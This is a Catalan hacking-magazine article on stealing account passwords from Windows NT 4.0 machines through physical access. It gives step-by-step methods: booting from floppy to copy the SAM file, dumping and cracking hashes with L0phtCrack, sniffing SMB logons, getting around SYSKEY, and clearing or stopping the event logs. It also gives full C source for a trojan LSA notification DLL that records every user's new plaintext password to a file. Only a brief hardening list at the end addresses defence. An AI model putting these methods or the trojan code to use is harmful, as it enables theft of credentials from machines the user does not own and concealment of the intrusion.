HACKEJAR WINDOWS NT AMB ACCES FISIC A LA MAQUINA per Alex Castan Salinas acastan@xtec.cat Hola xiquets i xiquetes. Continuem amb la serie d'articles "Hackejant amb acces fisic a la maquina". Aquesta vegada li toca el torn a Windows NT 4.0. Com veureu, no es gaire mes dificil de hackejar que una maquina amb Windows 9x (veure numero anterior de la revista). Abans de tot vull dir-vos que hackejar maquines Windows NT 4 Server a les que no teniu acces fisic tambe es possible, per exemple, a traves de NetBios o de vulnerabilitats al Internet Information Server (programa que s'instal.la per defecte). Per temps i extensio no cobrire aquest tema, pero podeu trobar tres excel.lents articles a Internet: * Nom : Hacking NT (en llengua anglesa). Lloc : http://www.inseguridad.org/ Grup : Rhino9 http://www.technotronic.com/rhino9/ Autor : Chameleon http://chameleon.core.com.ar * Nom : Hacking NT v1.2 (en llengua castellana). Lloc : http://members.xoom.com/set_files/hacknt.zip Grup : "Saqueadores" http://www.set-ezine.org/ Autor : Chessy http://www.arrakis.es/~chessy * Nom : La biblia del hacker de NT v1.2 (en llengua castellana). Lloc : http://www.set-ezine.org/almacen/txt/set24.zip Grup : "Saqueadores" http://www.set-ezine.org/ Autor : Tahum Tahum@phreaker.net Be, a les seguents linies de nou tractarem diferents metodes per aconseguir els noms d'usuaris del sistema i les seves contrasenyes. Per altres tipus d'atac (denegacio de servei, etc.) us podeu remetre als dos articles que acabem de citar. Avis: al text que segueix suposo que Windows NT esta instal.lat al directori C:\WINNT. En cas contrari cal substituir-lo pel seu valor correcte o per %SYSTEMROOT%, que es la variable del sistema que conte el cami on s'ha instal.lat. En Windows NT 4 els noms d'usuari i les seves contrasenyes els podem pescar a diferents llocs: * Als fitxers C:\WINNT\SYSTEM32\CONFIG\SAM. i C:\WINNT\REPAIR\SAM._ * Al registre de la maquina. * Circulant a la xarxa, mitjancant un sniffer. Les contrasenyes que contenen aquests fitxers estan "encriptades", que vol dir amagades mitjancant algun metode criptografic. Per aconseguir les contrasenyes originals a partir de les contrasenyes encriptades necessitareu l'excel.lent programa L0PHTCRACK que trobareu a la pagina web www.l0pht.com (el segon caracter es un zero). Comenca l'accio: 1. ACONSEGUIR EL FITXER DE CONTRASENYES --------------------------------------- Si no sou usuaris del sistema (no disposeu de nom d'usuari i contrasenya) no podeu iniciar una sessio en Windows NT 4 per treballar. Que fer? Apagar l'ordinador i arrencar-lo de nou pero amb un disquet d'arrencada de ms-dos. Aquest disquet el podeu crear amb facilitat en qualsevol ordinador amb sistema operatiu ms-dos o Windows 9x. A continuacio anireu al directori C:\WINNT\SYSTEM32\CONFIG\ del disc dur on teniu el Windows NT i copiareu el fitxer SAM al disquet. Ja el teniu! ara passeu al punt 6. Si havent arrencat amb al disquet de ms-dos no podeu treballar amb el disc dur, aixo vol dir que el disc dur utilitza el sistema de fitxers NTFS. Windows NT pot treballar amb dos sistemes de fitxers: FAT (el de ms-dos i Windows 9x) i NTFS (especific de NT). Perque arrencant amb el disquet us reconegui el disc dur haureu d'executar, despres d'arrencar, el programa NTFSDOS.EXE que trobareu a la pagina web www.sysinternals.com . Aquest es un petit programa gratuit de 50 Kb que permet al ms-dos treballar amb particions NTFS. Inconvenient: pot ser que no pugueu arrencar des de disquet degut a la configuracio de la BIOS i que no pugueu canviar la configuracio de la BIOS perque estigui protegida per una contrasenya. En un proper numero de la revista parlarem de com solucionar aquest problema. 2. FITXER DE CONTRASENYES DEL DISC D'EMERGENCIA ----------------------------------------------- El fitxer d'usuaris i contrasenyes es troba a C:\WINNT\SYSTEM32\CONFIG\SAM i no es pot aconseguir mentre Windows NT 4 s'executa, ja que el sistema operatiu el bloqueja :( pero existeix un fitxer de contrasenyes addicional ... Quan a Windows NT 4 es crea un disquet d'emergencia, la informacio del registre que es guardara al disquet es copia primer al directori C:\WINNT\REPAIR\ i alla queda per sempre si ningu no l'esborra. En aquest directori trobareu un fitxer anomenat SAM._ que es el fitxer d'usuaris comprimit en el moment de crear el disquet d'emergencia. Per descomprimir-lo escriviu a la linia de comandes EXPAND SAM._ SAM i creara l'arxiu SAM. descomprimit. Ara nomes heu d'obtenir les contrasenyes (punt 6). Inconvenient: pot ser que les contrasenyes que trobeu a aquest fitxer ja no es facin servir actualment. 3. ESNIFAR CONTRASENYES ----------------------- Per iniciar sessions a una xarxa, per compartir recursos, etc., els noms d'usuari i les contrasenyes s'envien encriptats per la xarxa. Podeu executar un programa a la vostre maquina que capturi aquests paquets que circulen. A Internet podeu trobar multitud d'aquests programes ('sniffers') pero casualment el programa L0PHTCRACK ja incorpora un a l'opcio 'Tools -> SMB Packet Capture'. Deixeu el programa executant-se durant una estona i recolliu les contrasenyes despres. 4. OBTENIR CONTRASENYES DEL REGISTRE ------------------------------------ El tercer lloc on podeu trobar contrasenyes a Windows NT es al registre. Heu d'executar el programa L0PHTCRACK, seleccionar l'opcio 'Tools -> Dump Passwords from Registry' i ja els teniu. Amb aquesta opcio, si treballeu en xarxa, fins i tot podeu obtenir les contrasenyes d'altres maquines. Al quadre que apareix quan seleccioneu l'opcio 'Dump passwords' especifiqueu el nom d'un ordinador o la seva adreca IP amb el format \\nom_ordinador o \\adreca_IP. Si fem servir la versio castellana de NT, per que l'opcio 'Dump passwords' funcioni cal modificar una clau del registre. Executeu regedit.exe i canvieu el valor Administrators pel nou valor Administradores a la clau HKEY_CURRENT_USER\Software\L0pht\L0phtCrack\AdminGroupName Inconvenient: per aconseguir les contrasenyes d'aquesta manera cal privilegis d'administrador. I ara preguntareu: per que vull obtenir contrasenyes si ja tinc privilegis d'administrador? Be, potser aquestes contrasenyes us donin acces a altres sistemes, potser hi hagi mes d'un usuari amb privilegis administratius i vulgueu la seva contrasenya, etc. I ara tornareu a preguntar: com puc aconseguir privilegis d'administrador? Doncs llegiu el seguent punt. 5. ESDEVENIR ADMINISTRADOR SENSE CONTRASENYA -------------------------------------------- Primer mirem el metode mes ximple, pero que de vegades funciona! A una estacio de treball Windows NT es pot iniciar una sessio de dues maneres. A la finestra on es demana el nom d'usuari i contrasenya, hi ha a mes a mes una petita caixa on es pot seleccionar o be el nom del domini per iniciar una sessio en xarxa administrada per servidor, o be l'opcio WorkGroup per iniciar una sessio en xarxa amb administracio individual. Les contrasenyes per un usuari no tenen per que ser les mateixes per iniciar la sessio d'una manera o de l'altre. M'he adonat de que a algunes instal.lacions de NT quan inicies una sessio com a WorkGroup, per defecte l'usuari Administrador no te contrasenya!!! Un altre metode es el seguent. La instal.lacio per defecte de Windows NT esta plena de vulnerabilitats (defectes que exposen el sistema a un atac). Periodicament Microsoft treu un programa amb pegats, anomenat Service Pack', que un cop instal.lat soluciona aquestes vulnerabilitats. Actualment van pel Service Pack 6. No obstant, noves vulnerabilitats son descobertes cada dia. Podeu entrar com a usuari normal i aprofitar alguna d'aquesta vulnerabilitats per esdevenir administradors. Si no sou usuaris proveu d'accedir amb el nom d'usuari Invitado ('Guest' si el vostre Windows NT esta en angles) i sense contrasenya. A la instal.lacio per defecte funciona. Podeu trobar programes que aprofiten aquestes vulnerabilitats (exploits) a multitud d'adreces d'Internet. Per que no hagueu de cercar gaire, algunes son: * http://www.infowar.co.uk/mnemonix/utils.htm * http://www.cybermedia.co.in/AllFullPages/NTSec/Vulnerabilities.htm * http://neworder.box.sk , a l'apartat '#MS Windows 95/NT security'. * http://xforce.iss.net Per saber quines vulnerabilitats exposa el vostre sistema NT, el millor es baixar d'Internet algun programa escanejador de vulnerabilitats. El millor que conec es: * CIS (Cerberus Information Security) a http://www.cerberus-infosec.co.uk/ Si tenint privilegis d'administrador encara no podeu executar l'opcio 'Dump passwords from registry' del programa L0PHTCRACK, com a minim podeu crear un nou disc d'emergencia que contindra el fitxer SAM actualitzat escrivint a la linia de comandes RDISK /S . Com a administradors tambe podeu executar les eines administratives de Windows NT. La eina 'administrador d'usuaris' us permetra veure i canviar els privilegis dels grups i dels usuaris. Aixo es especialment util per veure tots els usuaris amb privilegis administratius (usuaris del grup administradors). 6. L0PHTCRACK ------------- Be, com hem vist, amb el programa L0PHTCRACK podeu recuperar les contrasenyes directament del registre, del sistema d'arxius, del disquet de reparacio o mentre travessen la xarxa. Aquestes contrasenyes estan encriptades. Un cop tingueu el fitxer de contrasenyes, graveu-lo ben gravadet en un disquet. A continuacio anireu al ordinador de casa vostre i fareu servir el programa L0PHTCRACK per obtenir les contrasenyes originals a partir de les contrasenyes encriptades. Per fer aixo hi han tres metodes diferents. El metode mes rapid per crackejar contrasenyes es l'atac de diccionari. Es tracta de provar com a contrasenyes originals totes les paraules d'un fitxer de paraules (diccionari). Molta gent utilitza com a contrasenyes paraules com Alex o Barca. Podeu crear el vostre propi fitxer de paraules, pero el mes efectiu es cercar-lo a Internet. El segon metode es l'atac hibrid. Es tracta de realitzar l'atac de diccionari afegint caracters numerics i simbolics a les paraules del diccionari. Molta gent utilitza contrasenyes com Alex29 o Barca!. El tercer i mes poderos metode es l'atac de forca bruta. Aquest metode sempre recupera la contrasenya original, mentre que els dos metodes de crackejat anteriors no sempre. Es tracta de provar TOTES les contrasenyes formades per un determinat conjunt de caracters. Atencio, aneu amb compte que pot arribar a ser un atac molt lent. Per que us feu una idea: en un Pentium II a 450 Mhz, si les contrasenyes tenen nomes lletres pot tardar dues hores en trobar-les, si contenen lletres i nombres pot tardar dos dies, si a mes a mes contenen caracters especials pot tardar setmanes. Aixi que us recomano que comenceu per un conjunt de caracters de nomes lletres, despres amb lletres i nombres i per ultim amb caracters especials. Les opcions mes importants de L0PHTCRACK son: - File -> Open Password File : obre un fitxer de text que conte les contrasenyes, com els salvats per L0PHATCRACK o PWDUMP. - File -> Open Wordlist File : obre un fitxer de paraules per l'atac de diccionari. - File -> Import SAM file : obre un fitxer de contrasenyes SAM. - File -> Save and Save As : guarda les contrasenyes en un fitxer de text amb extensio .lc . Aquest fitxer es pot tornar a carregar despres per continuar amb el crackejat o comencar una nova seccio de crackejat amb opcions diferents. - Tools -> Dump Passwords from Registry : recupera les contrasenyes de la seccio SAM del registre. Es poden recuperar les contrasenyes d'una maquina remota especificant el seu nom NT o la seva adreca IP. Calen privilegis d'administrador i acces remot al registre. - Tools -> SMB Packet Capture : inicia la finestra per capturar paquets d'autentificacio SMB de la xarxa. - Tools -> Run Crack : inicia el crackejat de contrasenyes amb les opcions especificades. - Tools -> Stop Crack : para una sessio de crackejat. La sessio es pot reiniciar en qualsevol moment. - Tools -> Options : estableix les opcions de crackejat (atac diccionari, atac hibrid, atac de forca bruta i conjunt de caracters). - Window -> Minimize to tray : minimitza el programa a una petita icona a la barra d'estat. Es reactiva fent clic sobre la icona. - Window -> Hide : minimitza el programa i l'amaga completament (no apareix ni al Task Manager). Es reactiva prement alhora la combinacio de tecles Ctrl+Alt+L. 7. ELS LOGS DEL SISTEMA ----------------------- M'agradaria fer una pinzellada rapida sobre els logs (o anotacions) del sistema a Windows NT 4.0. Els diferents esdeveniments que es van produint al sistema s'enregistren a tres fitxers de logs, segons sigui el tipus i prioritat de l'esdeveniment. Aquests tres fitxers se situen al directori C:\WINNT\SYSTEM32\CONFIG\ i s'anomenen SYSEVNT.EVT (esdeveniments de sistema), APPEVENT.EVT (esdeveniments d'aplicacio) i SECEVENT.EVT (esdeveniments de seguretat). Per defecte es troba desactivat l'enregistrament d'aquests ultims , encara que es pot activar a traves de Menu Inici -> Programes -> Eines Administratives -> Administrador d'Usuaris -> Politiques -> Auditar -> Auditar aquests Esdeveniments. Podeu visualitzar i esborrar els logs amb l'eina que proporciona Windows NT (Menu Inici -> Programes -> Eines Administratives -> Visualitzador d'Esdeveniments) o amb altres eines que trobareu a Internet. Tambe podeu aturar o reiniciar, respectivament, el servei d'enregistrament de logs amb les comandes: net stop EVENTLOG net start EVENTLOG 8. ROOTKITS I TROIANS --------------------- Un rootkit es un conjunt d'utilitats que, un cop instal.lades a un sistema, ens obren una porta secreta per poder tornar a accedir sempre que vulguem amb el maxim de privilegis, amagant tant la seva existencia com les nostres petjades dins l'equip. Podeu trobar rootkits per NT a http://packetstormsecurity.org/. Un de molt interessant es a http://www.rootkit.com/projects/ntroot/. Un troia respon a un concepte mes general que el de rootkit. Es tracta d'un programa que, un cop instal.lat a un sistema, obre una porta secreta o explota una vulnerabilitat amb finalitats, ehem, il.licites. A continuacio veurem un troia que ens permet aconseguir noves contrasenyes. A Windows NT 4.0 tots els usuaris tenen permisos de canvi al directori C:\WINNT\SYSTEM32\, aixi que qualsevol dll o programa que no estigui essent emprat pel sistema es pot reemplacar per una altra dll o programa que faci quelcom que volem. Imagineu que passaria, per exemple, si algu reemplaces per un troia el fitxer MSGINA.DLL, que proporciona la identificacio i autoritzacio grafica, es a dir, la tipica pantalla d'entrada al sistema (login). Pero no es ben be aixo el que farem... Segons l'article #Q151082 de la base de coneixement de Microsoft (http://support.microsoft.com/support/kb/articles/Q151/0/82.asp), existeix una manera de sincronitzar les bases de dades de contrasenyes entre Windows NT i altres sistemes operatius, a traves de la dll FPNWCLNT.DLL, que es troba referenciada a la clau del registre HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA amb el nom "Notification Packages". Es tracta de canviar-la per una senzilla dll que rebi les notificacions de canvi de contrasenya i escrigui al fitxer C:\TEMP\PWDCHANGE.OUT el nom d'usuari, la nova contrasenya i l'identificador de domini. Aquesta dll s'executara sempre que s'actualitzi la contrasenya, ja sigui prement CTRL-ALT-DEL, utilitzant l'eina administrativa USERMGR, mitjancant la comanda 'net user ' o amb la creacio d'un nou usuari. A continuacio adjunto el programa. Per provar-lo, heu de (1) compilar el codi en C i el fitxer .def creant una dll anomenada PWDCHANGE.DLL, (2) copiar-la al directori C:\WINNT\SYSTEM32\, (3) afegir el nou valor PWDCHANGE a la clau del registre HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA amb nom "Notification Packages" tal que quedi (el salt de linia entre les dues paraules es necessari): FPNWCLNT PWDCHANGE i (4) reiniciar la maquina. Tallar per aqui 8<-------------------- pwdchange.c --------------------------- #include #include #include struct UNI_STRING { USHORT len; USHORT maxlen; WCHAR *buff; }; static HANDLE fh; BOOLEAN __stdcall InitializeChangeNotify () { DWORD wrote; fh = CreateFile("C:\\temp\\pwdchange.out", GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL|FILE_FLAG_WRITE_THROUGH, 0); WriteFile(fh, "InitializeChangeNotify started\n", 31, &wrote, 0); return TRUE; } LONG __stdcall PasswordChangeNotify (struct UNI_STRING *user, ULONG rid, struct UNI_STRING *passwd) { DWORD wrote; WCHAR wbuf[200]; char buf[512]; char buf1[200]; DWORD len; memcpy(wbuf, user->buff, user->len); len = user->len/sizeof(WCHAR); wbuf[len] = 0; wcstombs(buf1, wbuf, 199); sprintf(buf, "User = %s : ", buf1); WriteFile(fh, buf, strlen(buf), &wrote, 0); memcpy(wbuf, passwd->buff, passwd->len); len = passwd->len/sizeof(WCHAR); wbuf[len] = 0; wcstombs(buf1, wbuf, 199); sprintf(buf, "Password = %s : ", buf1); WriteFile(fh, buf, strlen(buf), &wrote, 0); sprintf(buf, "RID = %x\n", rid); WriteFile(fh, buf, strlen(buf), &wrote, 0); return 0L; } Tallar per aqui 8<----------------- fi de pwdchange.c ------------------------ Tallar per aqui 8<------------------- pwdchange.def -------------------------- EXPORTS InitializeChangeNotify=_InitializeChangeNotify@0 PasswordChangeNotify=_PasswordChangeNotify@12 Tallar per aqui 8<---------------- fi de pwdchange.def ----------------------- 9. MES INFORMACIO ----------------- Podeu trobar mes informacio sobre seguretat a Windows NT a les seguents pagines web: * http://www.nmrc.org/faqs/ : FAQ hackejar Windows NT en angles * http://ntsecurity.nu : informacio en angles i eines * http://www.ntsecurity.net : informacio en angles * http://enete.us.es : informacio en castella Podeu rebre periodicament informacio sobre vulnerabilitats i seguretat a Windows NT a la vostra adreca de correu electronic si us subscriviu a les seguents llistes de distribucio: * NTBugTraq (www.ntbugtraq.com): Per subscriure-us envieu un missatge a listserv@listserv.ntbugtraq.com, amb la seguent linia en el cos del missatge: subscribe ntbugtraq nom cognom * NTSecurity (www.iss.net): Per subscriure-us envieu un missatge a ntsecurity@iss.net, amb la seguent linia en el cos del missatge: subscribe ntsecurity 10. AFEGITS D'ULTIMA HORA ------------------------- * Amb el Service Pack 3 hi ve una petita utilitat anomenada SYSKEY que permet, si l'administrador aixi ho especifica, encriptar el fitxer SAM, impedint-nos recuperar-lo amb alguns metodes abans esmentats (Dump Passwords from Registry, etc.). Afortunadament per nosaltres i desafortunadament per Microsoft, hi ha una utilitat gratuita que permet aconseguir les contrasenyes encriptades en una maquina local que faci servir SYSKEY. La trobareu a http://www.polivec.com/pwdump3.html Despres podem carregar el fitxer de contrasenyes encriptades generat per PWDUMP3 a L0PHTCRACK mitjancant l'opcio File -> Open Password File. * En el moment d'escriure aquestes ultimes linies, el prestigios grup de hackers Rhino9 a tret un programa per saber quin Service Pack te instal.lat una maquina amb Windows NT a la nostre xarxa. L'eina s'anomena Chronicle i en la seva primera versio encara no funciona del tot be, pero suposo que els petits defectes quedaran arreglats a les versions posteriors. Podeu trobar Cronicle a: http://www.technotronic.com/rhino9/software/chronicle.htm * El consell de redaccio de la revista :) em demana si puc explicar com protegir a una maquina que funciona amb Windows NT. No era la intencio d'aquest article cobrir tots els aspectes de seguretat i hacking a Windows NT. Per aixo ja hi han escrits altres articles, o inclos llibres. La meva intencio era explicar, partint de zero i d'una manera senzilla, com fer-nos amb les contrasenyes. No obstant, donare una serie de breus consells per tothom coneguts i que, de tant generals, serveixen per qualsevol altre sistema operatiu que no sigui Windows NT. 1. Quan instal.leu Windows NT, seleccioneu la instal.lacio personalitzada, per tal de no instal.lar per defecte components que no heu d'utilitzar (com per exemple l'Internet Information Server). Cada programa que instal.leu pot tenir forats i vulnerabilitats, aixi que instal.leu els minims que realment necessiteu. 2. A continuacio instal.leu els pegats ('parxes' es un barbarisme) que hagin anat apareixent. En el cas de Windows NT el fitxer de pegats s'anomena Service Pack. El podeu trobar a la pagina web de Microsoft i tambe amb els CD que acompanyen a les revistes d'informatica. 3. Comproveu les opcions d'instal.lacio que s'han creat per defecte: usuaris que s'han creat, privilegis, contrasenyes, horari i ordinadors dels quals poden accedir, etc. Vaig llegir que calen fer uns 300 canvis a la instal.lacio de Windows NT per que aquest sigui un sistema operatiu segur. Sense comentaris. Cerqueu la llista de canvis a Internet. :'( Trobareu alguns a http://www.microsoft.com/technet/security/tools.asp 4. Comproveu la seguretat del sistema mitjancant programes escanejadors de vulnerabilitats. Aixi sabreu quins forats teniu oberts i quina informacio pot recuperar un intrus del vostre sistema. Abans us he donat l'adreca d'Internet on podeu trobar un. 5. Subscriviu-vos a llistes de distribucio sobre seguretat a Windows NT, accediu a pagines de hacking especialitzades en NT,... Estigueu al lloro de les noves vulnerabilitats que es van trobant! 6. Llegiu algun llibre sobre Windows NT Server i sobre seguretat a Windows NT. Encara que si voleu seguretat, el millor que podeu fer es no instal.lar ni Windows NT ni cap altre sistema operatiu o producte Microsoft. :) ------------------------------------------------------------------------------ Hackejar Windows NT amb Acces Fisic a la Maquina - Revisio 1.5 Copyleft (c) Alejandro Castan Salinas Es concedeix el permis per copiar, distribuir i/o modificar aquest document sota els termes de la llicencia de documentacio lliure GNU, versio 1.1 o qualsevol altre versio posterior publicada per la Free Software Foundation. Podeu consultar dita llicencia a http://www.gnu.org/copyleft/fdl.html. El contingut d'aquest document pot canviar degut a ampliacions i a correccions enviades pels lectors. Trobareu sempre la ultima versio del document a http://www.xtec.es/~acastan/textos/index.html. Breu historia del document: v1.0 Primera publicacio del document. v1.5 Correccions diverses a tot el document. Nous apartats: "els logs del sistema" i "rootkits i troians". Per fer: - Parlar sobre com arrencar amb un disquet per Linux o *BSD, muntar la particio de Windows NT i obtenir les contrasenyes. - Parlar sobre el sistema d'encriptacio de contrasenyes a Windows NT. - Comentar eines que ens permeten canviar la contrasenya d'administrador sense coneixer l'antiga. - Revisar les adreces d'Internet.